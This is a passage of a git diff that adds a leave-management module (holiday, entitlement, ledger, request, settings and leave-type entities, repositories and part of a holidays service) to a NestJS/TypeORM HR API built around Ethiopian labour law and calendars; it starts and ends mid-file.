ORGANIZATION = "ORGANIZATION", +} + +/** + * One observed holiday on one date. + * + * Stored as concrete dates rather than a recurring month/day rule, because most + * Ethiopian holidays are not fixed in the Gregorian calendar: Ethiopian-calendar + * dates shift by a day around leap years, and the Islamic holidays move roughly + * eleven days earlier each year. A rule engine here would be wrong every year; + * a row per occurrence is simply right. + */ +@Entity({ schema: "hr", name: "holidays" }) +@Index("idx_holidays_observed_on", ["observedOn"]) +export class Holiday extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + /** `null` = national, applying to every organization. */ + @Column({ type: "uuid", name: "organization_id", nullable: true }) + organizationId?: string | null; + + @Column({ type: "date", name: "observed_on" }) + observedOn!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ + type: "varchar", + length: 16, + name: "holiday_type", + default: EHolidayType.PUBLIC, + }) + holidayType!: EHolidayType; + + /** + * True for the lunar holidays, whose date depends on a sighting and is only + * confirmed close to the day. Shown to users so a leave calculation that + * straddles one is not mistaken for settled. + */ + @Column({ type: "boolean", name: "is_estimated", default: false }) + isEstimated!: boolean; + + /** Recorded but still worked — the day is observed without closing. */ + @Column({ type: "boolean", name: "is_working_day", default: false }) + isWorkingDay!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/leave/entities/leave-entitlement.entity.ts b/apps/edr-hr-api/src/modules/leave/entities/leave-entitlement.entity.ts new file mode 100644 index 000000000..5142fb6b2 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/entities/leave-entitlement.entity.ts @@ -0,0 +1,89 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + OneToMany, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { LeaveType } from "./leave-type.entity"; +import { LeaveLedgerEntry } from "./leave-ledger-entry.entity"; + +/** + * One employee's envelope for one leave type in one leave year. + * + * Deliberately carries no `balance` column. The balance is the sum of the + * ledger; storing it as well would create two answers to the same question and + * guarantee that one day they disagree. + * + * `employeeId` is `iam.employees.id` — a soft reference, like everywhere else in + * this schema. `leaveTypeId` IS a real foreign key: both tables live in `hr`. + */ +@Entity({ schema: "hr", name: "leave_entitlements" }) +@Index("idx_leave_entitlements_employee", ["employeeId"]) +export class LeaveEntitlement extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + @Column({ type: "uuid", name: "leave_type_id" }) + leaveTypeId!: string; + + @ManyToOne(() => LeaveType) + @JoinColumn({ name: "leave_type_id" }) + leaveType?: LeaveType; + + @Column({ type: "date", name: "leave_year_start" }) + leaveYearStart!: string; + + @Column({ type: "date", name: "leave_year_end" }) + leaveYearEnd!: string; + + /** What the rules said they were owed for this year, at the time of granting. */ + @Column({ type: "numeric", precision: 7, scale: 2, name: "entitled_days", default: 0 }) + entitledDays!: string; + + @Column({ + type: "numeric", + precision: 7, + scale: 2, + name: "carried_over_days", + default: 0, + }) + carriedOverDays!: string; + + /** Carried days lapse on this date if unused. Null = they do not lapse. */ + @Column({ type: "date", name: "carry_over_expires_on", nullable: true }) + carryOverExpiresOn?: string | null; + + /** + * Service length used to compute `entitledDays`, recorded so a later argument + * about the figure can be settled without re-deriving it from a hire date + * that may itself have been corrected since. + */ + @Column({ + type: "numeric", + precision: 5, + scale: 2, + name: "service_years_at_grant", + default: 0, + }) + serviceYearsAtGrant!: string; + + @OneToMany(() => LeaveLedgerEntry, (entry) => entry.entitlement) + entries?: LeaveLedgerEntry[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/leave/entities/leave-ledger-entry.entity.ts b/apps/edr-hr-api/src/modules/leave/entities/leave-ledger-entry.entity.ts new file mode 100644 index 000000000..4d6000b4f --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/entities/leave-ledger-entry.entity.ts @@ -0,0 +1,87 @@ +import { + Column, + CreateDateColumn, + Entity, + Index, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { LeaveEntitlement } from "./leave-entitlement.entity"; + +export enum ELedgerEntryType { + /** The year's entitlement, posted when the year opens. */ + GRANT = "GRANT", + /** Unused days brought forward from the previous year. */ + CARRY_OVER = "CARRY_OVER", + /** Days consumed by an approved leave request. */ + DEDUCTION = "DEDUCTION", + /** Carried days that lapsed unused. */ + EXPIRY = "EXPIRY", + /** A manual correction by an administrator. Signed either way. */ + ADJUSTMENT = "ADJUSTMENT", + /** Undoes one earlier entry — a cancelled request, a mistaken grant. */ + REVERSAL = "REVERSAL", +} + +/** + * One movement in one entitlement. Append-only: never updated, never deleted. + * + * `days` is signed and the database constrains the sign per type, so a + * DEDUCTION cannot add days however the calling code is written. The balance is + * `SUM(days)`, which makes it impossible for a balance to disagree with the + * history that produced it. + * + * There is no `updated_at` or `deleted_at` on purpose. An entry that turns out + * to be wrong is corrected by posting a REVERSAL against it — the record of the + * mistake is part of the audit trail, not something to be tidied away. + */ +@Entity({ schema: "hr", name: "leave_ledger_entries" }) +@Index("idx_leave_ledger_entitlement", ["entitlementId"]) +export class LeaveLedgerEntry { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "entitlement_id" }) + entitlementId!: string; + + @ManyToOne(() => LeaveEntitlement, (entitlement) => entitlement.entries) + @JoinColumn({ name: "entitlement_id" }) + entitlement?: LeaveEntitlement; + + @Column({ type: "varchar", length: 16, name: "entry_type" }) + entryType!: ELedgerEntryType; + + /** Signed: positive adds days, negative removes them. */ + @Column({ type: "numeric", precision: 7, scale: 2, name: "days" }) + days!: string; + + /** + * The date the movement belongs to, which is not always the date it was + * recorded — a deduction is effective on the first day of the absence even if + * the approval came later. + */ + @Column({ type: "date", name: "effective_on" }) + effectiveOn!: string; + + @Column({ type: "varchar", length: 256, name: "reason", nullable: true }) + reason?: string | null; + + /** What caused this, e.g. `LEAVE_REQUEST`. Null for a manual adjustment. */ + @Column({ type: "varchar", length: 24, name: "source_type", nullable: true }) + sourceType?: string | null; + + @Column({ type: "uuid", name: "source_id", nullable: true }) + sourceId?: string | null; + + /** Set only on a REVERSAL, and only once — enforced by a unique index. */ + @Column({ type: "uuid", name: "reverses_id", nullable: true }) + reversesId?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} diff --git a/apps/edr-hr-api/src/modules/leave/entities/leave-request.entity.ts b/apps/edr-hr-api/src/modules/leave/entities/leave-request.entity.ts new file mode 100644 index 000000000..2992bcbf3 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/entities/leave-request.entity.ts @@ -0,0 +1,127 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { LeaveType } from "./leave-type.entity"; + +export enum ELeaveRequestStatus { + /** Saved but not yet sent. Consumes nothing. */ + DRAFT = "DRAFT", + /** Awaiting a decision. Held against the balance so it cannot be spent twice. */ + SUBMITTED = "SUBMITTED", + APPROVED = "APPROVED", + REJECTED = "REJECTED", + /** Called off after approval — the deduction is reversed. */ + CANCELLED = "CANCELLED", + /** Pulled back by the employee before a decision. */ + WITHDRAWN = "WITHDRAWN", +} + +/** + * One absence, requested and decided. + * + * The day counts are frozen at submission rather than derived on read. A request + * approved under a six-day week stays the length it was approved at even if the + * employer later moves to five days — recomputing would silently rewrite history + * that payroll has already paid against. + */ +@Entity({ schema: "hr", name: "leave_requests" }) +@Index("idx_leave_requests_employee", ["employeeId", "startDate"]) +export class LeaveRequest extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + /** `iam.employees.id` — the person taking the leave. */ + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + @Column({ type: "uuid", name: "leave_type_id" }) + leaveTypeId!: string; + + @ManyToOne(() => LeaveType) + @JoinColumn({ name: "leave_type_id" }) + leaveType?: LeaveType; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: ELeaveRequestStatus.SUBMITTED, + }) + status!: ELeaveRequestStatus; + + @Column({ type: "date", name: "start_date" }) + startDate!: string; + + @Column({ type: "date", name: "end_date" }) + endDate!: string; + + @Column({ type: "boolean", name: "is_half_day", default: false }) + isHalfDay!: boolean; + + /** Working days in the range, per the calendar at submission. */ + @Column({ type: "numeric", precision: 7, scale: 2, name: "working_days" }) + workingDays!: string; + + @Column({ type: "numeric", precision: 7, scale: 2, name: "calendar_days" }) + calendarDays!: string; + + /** + * What comes off the balance. Equals working or calendar days depending on + * the type, halved for a half day — stored separately so the charge is + * explicit rather than re-derived from a rule that may since have changed. + */ + @Column({ type: "numeric", precision: 7, scale: 2, name: "charged_days" }) + chargedDays!: string; + + @Column({ type: "varchar", length: 512, name: "reason", nullable: true }) + reason?: string | null; + + @Column({ + type: "varchar", + length: 64, + name: "contact_during_leave", + nullable: true, + }) + contactDuringLeave?: string | null; + + /** `hr.employee_documents.id` — the medical certificate, typically. */ + @Column({ type: "uuid", name: "attachment_document_id", nullable: true }) + attachmentDocumentId?: string | null; + + /** Who it went to: the line manager resolved from the IAM position tree. */ + @Column({ type: "uuid", name: "approver_employee_id", nullable: true }) + approverEmployeeId?: string | null; + + @Column({ type: "uuid", name: "decided_by_employee_id", nullable: true }) + decidedByEmployeeId?: string | null; + + @Column({ type: "timestamptz", name: "decided_at", nullable: true }) + decidedAt?: Date | null; + + @Column({ type: "varchar", length: 512, name: "decision_note", nullable: true }) + decisionNote?: string | null; + + @Column({ + type: "varchar", + length: 512, + name: "cancelled_reason", + nullable: true, + }) + cancelledReason?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/leave/entities/leave-settings.entity.ts b/apps/edr-hr-api/src/modules/leave/entities/leave-settings.entity.ts new file mode 100644 index 000000000..295a7512c --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/entities/leave-settings.entity.ts @@ -0,0 +1,73 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +/** What a "leave year" means for an organization. */ +export enum ELeaveYearBasis { + /** Ethiopian fiscal year — starts Hamle 1, about 8 July. */ + FISCAL_YEAR = "FISCAL_YEAR", + CALENDAR_YEAR = "CALENDAR_YEAR", + /** Each employee's own year, running from their hire anniversary. */ + HIRE_ANNIVERSARY = "HIRE_ANNIVERSARY", +} + +/** + * Per-organization leave policy. One row per organization, created on demand. + * + * Everything here is the kind of rule that differs between employers and is + * argued about by HR rather than by developers, so none of it is a constant. + */ +@Entity({ schema: "hr", name: "leave_settings" }) +@Index("idx_leave_settings_organization_id", ["organizationId"]) +export class LeaveSettings extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ + type: "varchar", + length: 20, + name: "leave_year_basis", + default: ELeaveYearBasis.FISCAL_YEAR, + }) + leaveYearBasis!: ELeaveYearBasis; + + /** Gregorian month the fiscal year opens in. 7 + day 8 ≈ Hamle 1. */ + @Column({ type: "smallint", name: "fiscal_year_start_month", default: 7 }) + fiscalYearStartMonth!: number; + + @Column({ type: "smallint", name: "fiscal_year_start_day", default: 8 }) + fiscalYearStartDay!: number; + + /** + * Non-working days of the week, `0` = Sunday … `6` = Saturday. + * + * Defaults to Sunday only. That is deliberate and worth checking against how + * the organization actually works: Proclamation 1156/2019 assumes a 48-hour + * six-day week with one rest day, and the statutory leave figures seeded + * alongside it are counted in that unit. An employer running Monday–Friday + * should set `{0,6}` here — otherwise 16 "working days" of annual leave + * quietly buys a longer holiday than the statute intends. + */ + @Column({ type: "smallint", array: true, name: "weekend_days", default: () => `'{0}'` }) + weekendDays!: number[]; + + /** How long carried-over days survive into the new year before expiring. */ + @Column({ type: "smallint", name: "carry_over_deadline_months", default: 6 }) + carryOverDeadlineMonths!: number; + + /** Whether a request may be approved that takes a balance below zero. */ + @Column({ type: "boolean", name: "allow_negative_balance", default: false }) + allowNegativeBalance!: boolean; + + /** Free text, e.g. `LABOUR_PROCLAMATION_1156_2019`. Documentation, not logic. */ + @Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true }) + statuteReference?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/leave/entities/leave-type.entity.ts b/apps/edr-hr-api/src/modules/leave/entities/leave-type.entity.ts new file mode 100644 index 000000000..c4f8ad42a --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/entities/leave-type.entity.ts @@ -0,0 +1,146 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +export enum EAccrualMethod { + /** No balance at all — the type is requested and approved, never counted. */ + NONE = "NONE", + /** A whole year's worth granted at the start of each leave year. */ + ANNUAL_ENTITLEMENT = "ANNUAL_ENTITLEMENT", + /** One twelfth granted each month, so a leaver only keeps what they earned. */ + MONTHLY_ACCRUAL = "MONTHLY_ACCRUAL", +} + +export enum EGenderRestriction { + ANY = "ANY", + MALE = "MALE", + FEMALE = "FEMALE", +} + +/** + * A kind of leave, with its rules as data. + * + * The statutory numbers live in these columns rather than in a service because + * the applicable statute is not fixed: EDR is a share company under Labour + * Proclamation 1156/2019 (16 annual days, +1 per 2 years of service), while a + * civil-service employer follows Proclamation 1064/2017 (20 days, +1 per year). + * Both are the same code and a different seed. + */ +@Entity({ schema: "hr", name: "leave_types" }) +@Index("idx_leave_types_organization_id", ["organizationId"]) +export class LeaveType extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "jsonb", name: "description", nullable: true }) + description?: { am: string; en: string } | null; + + /** Unpaid leave still needs approving and recording — it just is not salary. */ + @Column({ type: "boolean", name: "is_paid", default: true }) + isPaid!: boolean; + + @Column({ + type: "varchar", + length: 24, + name: "accrual_method", + default: EAccrualMethod.ANNUAL_ENTITLEMENT, + }) + accrualMethod!: EAccrualMethod; + + /** Entitlement in an employee's first qualifying year. */ + @Column({ type: "numeric", precision: 6, scale: 2, name: "base_days_per_year", default: 0 }) + baseDaysPerYear!: string; + + /** Extra days granted for each completed `servicePeriodYears` of service. */ + @Column({ type: "numeric", precision: 6, scale: 2, name: "extra_days_per_period", default: 0 }) + extraDaysPerPeriod!: string; + + /** 1156/2019 grows annual leave every 2 years; 1064/2017 every 1. */ + @Column({ type: "smallint", name: "service_period_years", default: 0 }) + servicePeriodYears!: number; + + /** Ceiling on the grown entitlement. `null` = uncapped. */ + @Column({ + type: "numeric", + precision: 6, + scale: 2, + name: "max_days_per_year", + nullable: true, + }) + maxDaysPerYear?: string | null; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "max_carry_over_days", default: 0 }) + maxCarryOverDays!: string; + + /** Longest single absence allowed, e.g. maternity's 120 consecutive days. */ + @Column({ + type: "numeric", + precision: 6, + scale: 2, + name: "max_consecutive_days", + nullable: true, + }) + maxConsecutiveDays?: string | null; + + /** Sick leave under 1156/2019 only opens after probation. */ + @Column({ type: "smallint", name: "min_service_months", default: 0 }) + minServiceMonths!: number; + + @Column({ + type: "varchar", + length: 8, + name: "gender_restriction", + default: EGenderRestriction.ANY, + }) + genderRestriction!: EGenderRestriction; + + /** + * Annual leave is counted in working days; maternity's 120 days are + * consecutive calendar days and run through weekends and holidays. + */ + @Column({ type: "boolean", name: "counts_working_days_only", default: true }) + countsWorkingDaysOnly!: boolean; + + @Column({ type: "boolean", name: "allows_half_day", default: false }) + allowsHalfDay!: boolean; + + /** + * Days beyond which supporting evidence is mandatory — a medical certificate + * for sick leave, typically after 3. `null` = never required. + */ + @Column({ + type: "numeric", + precision: 6, + scale: 2, + name: "requires_attachment_after", + nullable: true, + }) + requiresAttachmentAfter?: string | null; + + /** Bereavement is often recorded and taken rather than requested in advance. */ + @Column({ type: "boolean", name: "requires_approval", default: true }) + requiresApproval!: boolean; + + @Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true }) + statuteReference?: string | null; + + @Column({ type: "smallint", name: "sort_order", default: 100 }) + sortOrder!: number; + + @Column({ type: "boolean", name: "is_active", default: true }) + isActive!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/leave/leave.module.ts b/apps/edr-hr-api/src/modules/leave/leave.module.ts new file mode 100644 index 000000000..9b3146674 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/leave.module.ts @@ -0,0 +1,76 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { LeaveSettings } from "./entities/leave-settings.entity"; +import { LeaveType } from "./entities/leave-type.entity"; +import { Holiday } from "./entities/holiday.entity"; +import { LeaveEntitlement } from "./entities/leave-entitlement.entity"; +import { LeaveLedgerEntry } from "./entities/leave-ledger-entry.entity"; +import { LeaveRequest } from "./entities/leave-request.entity"; +import { LeaveSettingsRepository } from "./repositories/leave-settings.repository"; +import { LeaveTypesRepository } from "./repositories/leave-types.repository"; +import { HolidaysRepository } from "./repositories/holidays.repository"; +import { LeaveEntitlementsRepository } from "./repositories/leave-entitlements.repository"; +import { LeaveRequestsRepository } from "./repositories/leave-requests.repository"; +import { LeaveSettingsService } from "./services/leave-settings.service"; +import { LeaveTypesService } from "./services/leave-types.service"; +import { HolidaysService } from "./services/holidays.service"; +import { WorkingDaysService } from "./services/working-days.service"; +import { LeaveBalancesService } from "./services/leave-balances.service"; +import { LeaveRequestsService } from "./services/leave-requests.service"; +import { LeaveSettingsController } from "./controllers/leave-settings.controller"; +import { LeaveTypesController } from "./controllers/leave-types.controller"; +import { HolidaysController } from "./controllers/holidays.controller"; +import { LeaveBalancesController } from "./controllers/leave-balances.controller"; +import { LeaveRequestsController } from "./controllers/leave-requests.controller"; +import { EmployeesModule } from "../employees/employees.module"; + +/** + * Module 3.2 slice 1 — the foundation leave is counted against: policy, + * catalogue and calendar. Requests, balances and approvals build on this. + */ +@Module({ + imports: [ + TypeOrmModule.forFeature([ + LeaveSettings, + LeaveType, + Holiday, + LeaveEntitlement, + LeaveLedgerEntry, + LeaveRequest, + ]), + // Balances resolve the employee's hire date and profile; the employees + // module owns that, so it is imported rather than reached into. + EmployeesModule, + ], + controllers: [ + LeaveSettingsController, + LeaveTypesController, + HolidaysController, + LeaveBalancesController, + LeaveRequestsController, + ], + providers: [ + LeaveSettingsRepository, + LeaveTypesRepository, + HolidaysRepository, + LeaveEntitlementsRepository, + LeaveRequestsRepository, + LeaveSettingsService, + LeaveTypesService, + HolidaysService, + WorkingDaysService, + LeaveBalancesService, + LeaveRequestsService, + ], + // Requests (slice 3) and payroll (3.4) both need the day arithmetic and the + // entitlement rules. + exports: [ + WorkingDaysService, + LeaveSettingsService, + LeaveTypesService, + LeaveTypesRepository, + LeaveBalancesService, + ], +}) +export class LeaveModule {} diff --git a/apps/edr-hr-api/src/modules/leave/repositories/holidays.repository.ts b/apps/edr-hr-api/src/modules/leave/repositories/holidays.repository.ts new file mode 100644 index 000000000..d2f0f1cb4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/repositories/holidays.repository.ts @@ -0,0 +1,45 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { IsNull, Repository } from "typeorm"; + +import { Holiday } from "../entities/holiday.entity"; + +@Injectable() +export class HolidaysRepository extends BaseRepository { + constructor(@InjectRepository(Holiday) repository: Repository) { + super(repository); + } + + /** + * Holidays visible to an organization: its own plus the national ones. + * A super admin (`organizationId: null`) sees national holidays only — + * showing every employer's closures in one list would be noise. + */ + findInRange( + organizationId: string | null, + start: string, + end: string, + ): Promise { + const qb = this.repository + .createQueryBuilder("holiday") + .where("holiday.observed_on BETWEEN :start AND :end", { start, end }); + + if (organizationId) { + qb.andWhere( + "(holiday.organization_id IS NULL OR holiday.organization_id = :organizationId)", + { organizationId }, + ); + } else { + qb.andWhere("holiday.organization_id IS NULL"); + } + + return qb.orderBy("holiday.observedOn", "ASC").getMany(); + } + + findNational(observedOn: string): Promise { + return this.repository.findOne({ + where: { observedOn, organizationId: IsNull() }, + }); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/repositories/leave-entitlements.repository.ts b/apps/edr-hr-api/src/modules/leave/repositories/leave-entitlements.repository.ts new file mode 100644 index 000000000..f160a77b0 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/repositories/leave-entitlements.repository.ts @@ -0,0 +1,35 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { LeaveEntitlement } from "../entities/leave-entitlement.entity"; + +@Injectable() +export class LeaveEntitlementsRepository extends BaseRepository { + constructor( + @InjectRepository(LeaveEntitlement) repository: Repository, + ) { + super(repository); + } + + findForYear( + employeeId: string, + leaveTypeId: string, + leaveYearStart: string, + ): Promise { + return this.repository.findOne({ + where: { employeeId, leaveTypeId, leaveYearStart }, + }); + } + + findAllForEmployee( + employeeId: string, + leaveYearStart: string, + ): Promise { + return this.repository.find({ + where: { employeeId, leaveYearStart }, + relations: { leaveType: true }, + }); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/repositories/leave-requests.repository.ts b/apps/edr-hr-api/src/modules/leave/repositories/leave-requests.repository.ts new file mode 100644 index 000000000..fffc9fe27 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/repositories/leave-requests.repository.ts @@ -0,0 +1,111 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { + ELeaveRequestStatus, + LeaveRequest, +} from "../entities/leave-request.entity"; + +/** Statuses that still hold days against a balance. */ +export const LIVE_STATUSES = [ + ELeaveRequestStatus.SUBMITTED, + ELeaveRequestStatus.APPROVED, +]; + +@Injectable() +export class LeaveRequestsRepository extends BaseRepository { + constructor(@InjectRepository(LeaveRequest) repository: Repository) { + super(repository); + } + + /** + * Live requests overlapping a range — the double-booking check. + * + * Overlap is `start <= theirEnd AND end >= theirStart`, which is the standard + * form and covers every case including full containment. Rejected, cancelled + * and withdrawn requests are excluded: those dates are free again. + */ + findOverlapping( + employeeId: string, + startDate: string, + endDate: string, + excludeRequestId?: string, + ): Promise { + const qb = this.repository + .createQueryBuilder("request") + .where("request.employee_id = :employeeId", { employeeId }) + .andWhere("request.status IN (:...statuses)", { statuses: LIVE_STATUSES }) + .andWhere("request.start_date <= :endDate", { endDate }) + .andWhere("request.end_date >= :startDate", { startDate }); + + if (excludeRequestId) { + qb.andWhere("request.id != :excludeRequestId", { excludeRequestId }); + } + return qb.getMany(); + } + + async findPage( + filters: { + organizationId?: string | null; + employeeId?: string; + approverEmployeeId?: string; + status?: ELeaveRequestStatus; + leaveTypeId?: string; + from?: string; + to?: string; + page?: number; + limit?: number; + }, + ): Promise<[LeaveRequest[], number]> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + const qb = this.repository + .createQueryBuilder("request") + .leftJoinAndSelect("request.leaveType", "leaveType"); + + if (filters.organizationId) { + qb.andWhere("request.organization_id = :organizationId", { + organizationId: filters.organizationId, + }); + } + if (filters.employeeId) { + qb.andWhere("request.employee_id = :employeeId", { + employeeId: filters.employeeId, + }); + } + if (filters.approverEmployeeId) { + qb.andWhere("request.approver_employee_id = :approverEmployeeId", { + approverEmployeeId: filters.approverEmployeeId, + }); + } + if (filters.status) { + qb.andWhere("request.status = :status", { status: filters.status }); + } + if (filters.leaveTypeId) { + qb.andWhere("request.leave_type_id = :leaveTypeId", { + leaveTypeId: filters.leaveTypeId, + }); + } + if (filters.from) { + qb.andWhere("request.end_date >= :from", { from: filters.from }); + } + if (filters.to) { + qb.andWhere("request.start_date <= :to", { to: filters.to }); + } + + return qb + // Property names, NOT column names. TypeORM resolves orderBy through + // entity metadata, and a snake_case name there throws + // "Cannot read properties of undefined (reading 'databaseName')" — + // but only once a join is present, so it passes unnoticed on a + // query without one. + .orderBy("request.startDate", "DESC") + .addOrderBy("request.createdAt", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/repositories/leave-settings.repository.ts b/apps/edr-hr-api/src/modules/leave/repositories/leave-settings.repository.ts new file mode 100644 index 000000000..798a88e08 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/repositories/leave-settings.repository.ts @@ -0,0 +1,19 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { LeaveSettings } from "../entities/leave-settings.entity"; + +@Injectable() +export class LeaveSettingsRepository extends BaseRepository { + constructor( + @InjectRepository(LeaveSettings) repository: Repository, + ) { + super(repository); + } + + findByOrganization(organizationId: string): Promise { + return this.repository.findOne({ where: { organizationId } }); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/repositories/leave-types.repository.ts b/apps/edr-hr-api/src/modules/leave/repositories/leave-types.repository.ts new file mode 100644 index 000000000..926a31c49 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/repositories/leave-types.repository.ts @@ -0,0 +1,60 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { LeaveType } from "../entities/leave-type.entity"; + +@Injectable() +export class LeaveTypesRepository extends BaseRepository { + constructor(@InjectRepository(LeaveType) repository: Repository) { + super(repository); + } + + findByCode(organizationId: string, code: string): Promise { + return this.repository.findOne({ where: { organizationId, code } }); + } + + findActive(organizationId: string): Promise { + return this.repository.find({ + where: { organizationId, isActive: true }, + order: { sortOrder: "ASC", code: "ASC" }, + }); + } + + async findPage( + organizationId: string | null, + filters: { + search?: string; + isActive?: boolean; + page?: number; + limit?: number; + }, + ): Promise<[LeaveType[], number]> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + const qb = this.repository.createQueryBuilder("type").where("1 = 1"); + + // `null` = every organization (super admin). + if (organizationId) { + qb.andWhere("type.organization_id = :organizationId", { organizationId }); + } + if (filters.isActive !== undefined) { + qb.andWhere("type.is_active = :isActive", { isActive: filters.isActive }); + } + if (filters.search) { + qb.andWhere( + `(type.code ILIKE :search OR type.name->>'en' ILIKE :search OR type.name->>'am' ILIKE :search)`, + { search: `%${filters.search}%` }, + ); + } + + return qb + .orderBy("type.sortOrder", "ASC") + .addOrderBy("type.code", "ASC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/services/holidays.service.ts b/apps/edr-hr-api/src/modules/leave/services/holidays.service.ts new file mode 100644 index 000000000..0a55fa025 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/services/holidays.service.ts @@ -0,0 +1,159 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { HolidaysRepository } from "../repositories/holidays.repository"; +import { Holiday } from "../entities/holiday.entity"; +import { CreateHolidayDto, UpdateHolidayDto } from "../dto/holiday.dto"; +import { LeaveSettingsService } from "./leave-settings.service"; +import { + WorkingDaysService, + dayOfWeek, +} from "./working-days.service"; + +@Injectable() +export class HolidaysService { + constructor( + private readonly holidaysRepository: HolidaysRepository, + private readonly settingsService: LeaveSettingsService, + private readonly workingDays: WorkingDaysService, + ) {} + + async create(dto: CreateHolidayDto, actor: ActorContext): Promise { + const organizationId = this.requireOrg(actor); + + // A national holiday on the same date already closes the office; a second + // organization row on top of it would double-count nothing but confuse the + // calendar. + const national = await this.holidaysRepository.findNational(dto.observedOn); + if (national) { + throw new ConflictException( + `${dto.observedOn} is already a national holiday (${national.name.en})`, + ); + } + + return this.holidaysRepository.create({ + ...dto, + organizationId, + createdBy: actor.userId, + } as Partial); + } + + async update( + id: string, + dto: UpdateHolidayDto, + actor: ActorContext, + ): Promise { + const holiday = await this.requireHoliday(id, orgScope(actor)); + return ( + (await this.holidaysRepository.update(id, { + ...dto, + updatedBy: actor.userId, + })) ?? holiday + ); + } + + /** + * The calendar for a range, each day annotated with why it is not a working + * day. Returned as a list rather than a count so the UI can show the reason — + * "your 5 days became 8 because of Meskel and two weekends" is the question + * people actually ask. + */ + async calendar( + range: { start: string; end: 